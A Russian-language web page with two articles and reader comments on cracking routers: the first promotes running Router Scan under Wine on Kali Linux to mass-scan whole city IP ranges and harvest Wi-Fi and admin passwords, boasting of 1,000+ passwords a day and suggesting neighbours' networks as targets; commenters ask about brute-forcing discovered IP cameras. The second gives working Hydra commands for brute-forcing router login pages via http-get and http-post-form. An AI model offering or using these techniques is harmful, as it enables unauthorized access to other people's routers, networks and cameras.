Статья Router Scan by Stas’M на Kali Linux (взлом роутеров и Wi-Fi в промышленных масштабах)
Программа мне понравилась до такой степени, что я стал искать альтернативы для Linux. Альтернатив я не нашёл.
Но главная идея этой программы — сканировать сеть и искать роутеры с дефолтными паролями или со слабыми прошивками — мне показалась настолько потрясающей, что захотелось сделать что-то подобное для Linux. Это задача средней сложности, т. е. вполне достижимая. Благо большинство модулей уже есть готовые: nmap (для сканирования портов) + curl (для аутентификации и применения эксплойтов) + grep (для парсинга страниц аутентификации (при определении модели роутера) и парсинга паролей и прочих полезных вещей при удачном подборе пароля/применении эксплойта).
У меня даже получилось сделать рабочий концепт, который насобирал для меня за день более 1000 паролей Wi-Fi. Концепт получился жутко медленным: сканер написан на PHP, причём написан без каких либо оптимизаций — всё делается в один поток, да при этом сканер реализован на попытке установить сокетное соединение. Т.е. если соединение происходит — значит начинает пробовать стандартные пароли и вынимать информацию из роутера в случае успеха. Если соединение не происходит — то программа ждёт, пока пройдёт время по таймауту. Понятно, что чаще соединение не происходит и, как следствие, почти всё время программа ждём окончания таймаутов. Всё это можно ускорить и оптимизировать, добавить новые модели роутеров. В общем, если за лето будет достаточно времени, чтобы доделать (хоть на базе nmap, хоть на базе PHP) до уровня «не стыдно показать исходный код», то обязательно поделюсь своими наработками. Благо что алгоритмы эксплойтов, которые применяются в сканере роутеров от Stas’M, доступны в виде исходных текстов и их вполне можно переписать под curl.
Вернёмся к Router Scan от Stas’M. Он шикарный! С его помощью вы сами можете насобирать уйму паролей от роутеров, от сетей Wi-Fi и узнать много нового о сетях и об обитающих там устройствах.
Если вы пользователь Windows, то для вас всё совсем просто — скачиваете, запускаете, вводите диапазон адресов и ждёте окончания сканирования.
Для пользователей Linux также возможен запуск программы Router Scan от Stas’M под Wine. Я покажу как это сделать на примере Kali Linux.
Установка Wine в Kali Linux
Внимание, если у вас Kali 2.0, то перейдите к инструкции “Установка Wine в Kali Linux 2.0“.
Если посмотреть информацию о пакете Wine в Kali Linux, то там будет указано, что пакет уже установлен. Если попытаться его запустить, то выясниться, что это всего-навсего заглушка, которая и рассказывает как провести установку. Вся установка делается тремя командами:
dpkg --add-architecture i386 apt-get update apt-get install wine-bin:i386
), распаковываете (в любое место), кликаете правой кнопкой по файлу RouterScan.exe, в контекстном меню выбираете «Открыть с помощью Wine…», а дальше всё как на Windows.
Вот пример работы Router Scan от Stas’M в Linux (сканирую диапазоны адресов моего родного города Муром):
Только хорошие результаты:
- программе не нужен Wi-Fi приёмник или что-то ещё — она работает по проводному соединению;
- чтобы попытаться взломать соседский Wi-Fi (а не на другом конце света), то нужно знать IP соседа или, хотя бы, диапазон IP интернет-провайдера соседа. Можно воспользоваться
curl -s 'URL' | grep -o -E '3.8.3.5 - 7.1.4.8' > diap_ip.txt
Где вместо ‘URL‘ введите адрес страницы на ipgeobase.ru, которую нужно пропарсить.
VALERY
23.07.2015 в 16:07
Вообще штука офигенная
ANGEL
30.08.2015 в 20:35
подскажите как установить на амд х64?
WEBWARE TEAM
31.08.2015 в 06:14
Разницы нет – точно также.
MR_YODA
31.08.2015 в 11:34
Большое спасибо за сайт! Все статьи очень интересные и познавательные. AdBlock выключил.
А программа шикарная конечно.
WEBWARE TEAM
31.08.2015 в 15:40
Спасибо, что не прошли мимо моей просьбы.
MOOGE
06.09.2015 в 19:45
В контекстном меню не появляется «Открыть с помощью Wine…». Что можете посоветовать? Все команды выполнил по инструкции.
WEBWARE TEAM
07.09.2015 в 06:29
Если у вас в контекстном меню не появился Wine, то сделайте так:
нажмите правой кнопкой на приложение, которое хотите запустить
выберите «Открыть в другой программе»
там где строка для ввода введите wine и нажмите кнопку «Установить по умолчанию», нажмите ОК. Теперь все .exe файлы будут открываться двойным кликом.
Про Wine в Kali 2.0 написал отдельно: Установка Wine в Kali Linux 2.0
MIAL
10.11.2015 в 07:21
Я заглянул в окно дома соседа и увидел у него большой плазменной телевизоре, ещё на столе я увидел телефон, а в комнате его жену и двух детей.
Здравствуйте, скажите, а что делать дальше с полученной информацией?
Аналогия понятна?
Мой совет лично вам: ничего с ней не делать.
LAN
13.01.2016 в 08:01
Я тоже люблю С.Моэма…
Как прочекать кучу найденных IP камер на стандартные лог/пасы?
LAN
13.01.2016 в 07:50
Афтор сканера не планиурет добавлять брут камер по словарю. Можно ли самому запилить брут найденых в программе камер по внутреннему словарю. Лень прост поштучно вбивать каждый ip в Кали.
ИВАН
02.10.2016 в 11:12
Ребят, какой пароль на архив?
NOWASIVEM
06.12.2017 в 14:34
Запускаю RouterScan в Vine на WifiSlax, всё работает кроме вкладки по работе с Wifi в программе RouterScan. Помогите, что можно сделать, что бы работал Wifi в программе RouterScan под Vine.
ПЕТРУЧО
17.12.2017 в 06:05
“Афтор сканера не планиурет добавлять брут камер по словарю. Можно ли самому запилить брут найденых в программе камер по внутреннему словарю. Лень прост поштучно вбивать каждый ip в Кали.”
а ты 80й порт сканишь на камеры ? там вроде больше по сплойтам , а словать , так там файлик в роутерскане есть .
ЗЫ пароль на архив Stas’M Corp. емпни именно с точкой на конце
Взлом «админки» роутера
В общем, решил я по своим нуждам покопаться в настройках роутера, вбиваю я всем знакомый адрес, а тут пароль спрашивают. Как быть? Ну, начал я перебирать пароли, а их количество слишком большое, что бы перебирать все и слишком маленькое, чтобы делать reset.
И я открыл google. После пары запросов я узнал о такой вещи как hydra. И тут началось: жажда открытий, поиски неизведанного и так далее.
Приступим
Первым делом мной был составлен словарь паролей, ни много, ни мало, аж на 25 комбинаций. Далее качаем либо Kali linux, либо саму Гидру (если вы пингвин у вас линукс). Теперь у нас два варианта (ну как два, я нашел информацию по двум вариантам).
Либо у вас вот такое диалоговое окно:
Либо логин и пароль запрашивает форма на сайте. Мой вариант первый, поэтому начнем с него. На нашем пути к «админке» стоит страж в виде диалогового окна. Это вид авторизации http-get.
Открываем терминал. Вводим:
hydra -l admin -P myPass.txt -s 80 192.168.1.1 http-get /
Где после «-l» идет логин, после «-P» словарь, после «-s» порт. Также в нашем распоряжении есть другие флаги:
-R восстановить предыдущую прерванную/оборванную сессию
-S выполнить SSL соединение
-s ПОРТ если служба не на порту по умолчанию, то можно задать порт здесь
-l ЛОГИН или -L ФАЙЛ с ЛОГИНАМИ (именами), или загрузить несколько логинов из ФАЙЛА
-p ПАРОЛЬ или -P ФАЙЛ с паролями для перебора, или загрузить несколько паролей из ФАЙЛА
-x МИНИМУМ: МАКСИМУМ: НАБОР_СИМВОЛОВ генерация паролей для брутфорса, наберите «-x -h» для помощи
-e nsr «n» — пробовать с пустым паролем, «s» — логин в качестве пароля и/или «r» — реверс учётных данных
-u зацикливаться на пользователя, а не на парлях (эффективно! подразумевается с использованием опции -x)
-C ФАЙЛ формат где «логин: пароль» разделены двоеточиями, вместо опции -L/-P
-M ФАЙЛ список серверов для атак, одна запись на строку, после двоеточия ‘:’ можно задать порт
-o ФАЙЛ записывать найденные пары логин/пароль в ФАЙЛ вместо стандартного вывода
-f / -F выйти, когда пара логин/пароль подобрана (-M: -f для хоста, -F глобально)
-t ЗАДАЧИ количество запущенных параллельно ЗАДАЧ (на хост, по умолчанию: 16)
-w / -W ВРЕМЯ время ожидания ответов (32 секунды) / между соединениями на поток
-4 / -6 предпочитать IPv4 (по умолчанию) или IPv6 адреса
-v / -V / -d вербальный режим / показывать логин+пароль для каждой попытки / режим отладки
-q не печатать сообщения об ошибках соединения
-U подробные сведения об использовании модуля
server цель: DNS, IP или 192.168.0.0/24 (эта ИЛИ опция -M)
service служба для взлома (смотрите список поддерживаемых протоколов)
OPT некоторые модули служб поддерживают дополнительный ввод (-U для справки по модулю)
Не мой, честно взят с Античата, с исправлением грамматических ошибок автора (Обилие знаков пунктуации я оставил). Интересно это можно считать переводом?
Нас встречает форма на сайте:
Такой метод авторизации — http-post-form, и тут нужно немного повозится, так как нам нужно понять, как браузер отправляет роутеру данные.
В данном случае и использовал браузер Chrome (его аналог Chromium в Kali Linux, ставится через apt-get install chromium).
Сейчас нужно сделать одну очень глупую вещь… указать неверный логин и пасс…
для чего увидим позже…
Нажимаем F12 что бы перейти в режим редактирования веб-страницы.
Переходим в Network → Включаем галочку Preserv log.
Вводим ложные логин и пароль…
Ну что за дела? Так не пойдет! Более того, после нескольких неудачных попыток входа, форма блокируется на 180 секунд.
Переходим во вкладочку HEADERS ищем строку:
Request URL:http://192.168.0.1/index.cgi
Отрезаем все до ip-адреса — /index.cgi… Поздравляю мы нашли первую часть скрипта авторизации… Идем дальше… Переходим к вкладке FORM DATA и изменяем режим отображения на VIEV SOURCE.
update_login=login&update_password=password&check_auth=y&tokenget=1300& update_login=login&update_password=password
Бинго! Мы нашли вторую часть скрипта авторизации! Еще чуть-чуть! теперь нужно найти страницу с сообщением об ошибке… Нужно нажать на вкладку ELEMENTS.
И выбрать элемент HTML кода (CTRL+SHIFT+C) и выбрать окно с сообщением об ошибки… в данном случае — Authentication failed!
и немножко правим… bad_auth — все! Ключ практически у нас в кармане… Теперь мы можем полностью написать строку авторизации:
index.cgi:update_login=login&update_password=password:bad_auth
Теперь нужно подставить вместо «login» — ^USER^ и вместо «password» ^PASS^ и тогда строка будет иметь вид:
index.cgi:update_login=^USER^&update_password=^PASS^:bad_auth
hydra -l admin -P router-pass.dic -t 1 -e nsr -vV -f -s 80 192.168.0.1 http-post-form "/index.cgi:update_login=^USER^&update_password=^PASS^:bad_auth"
Обратите внимание что между частями скрипта двоеточие! это обязательно! Кстати, блокировки формы через гидру не происходило… Это очень радует.
В работоспособности второго метода мне убедиться не светит, так как я не обладатель подходящей модели роутера. Придется довериться экспрессивному человеку с Античата.
Если кому интересно, будьте добры, проверьте и отпишитесь в комментариях. Я работал с роутером TL-WR1043N/TL-WR1043ND. Роутер с Античата — D-link300NRU.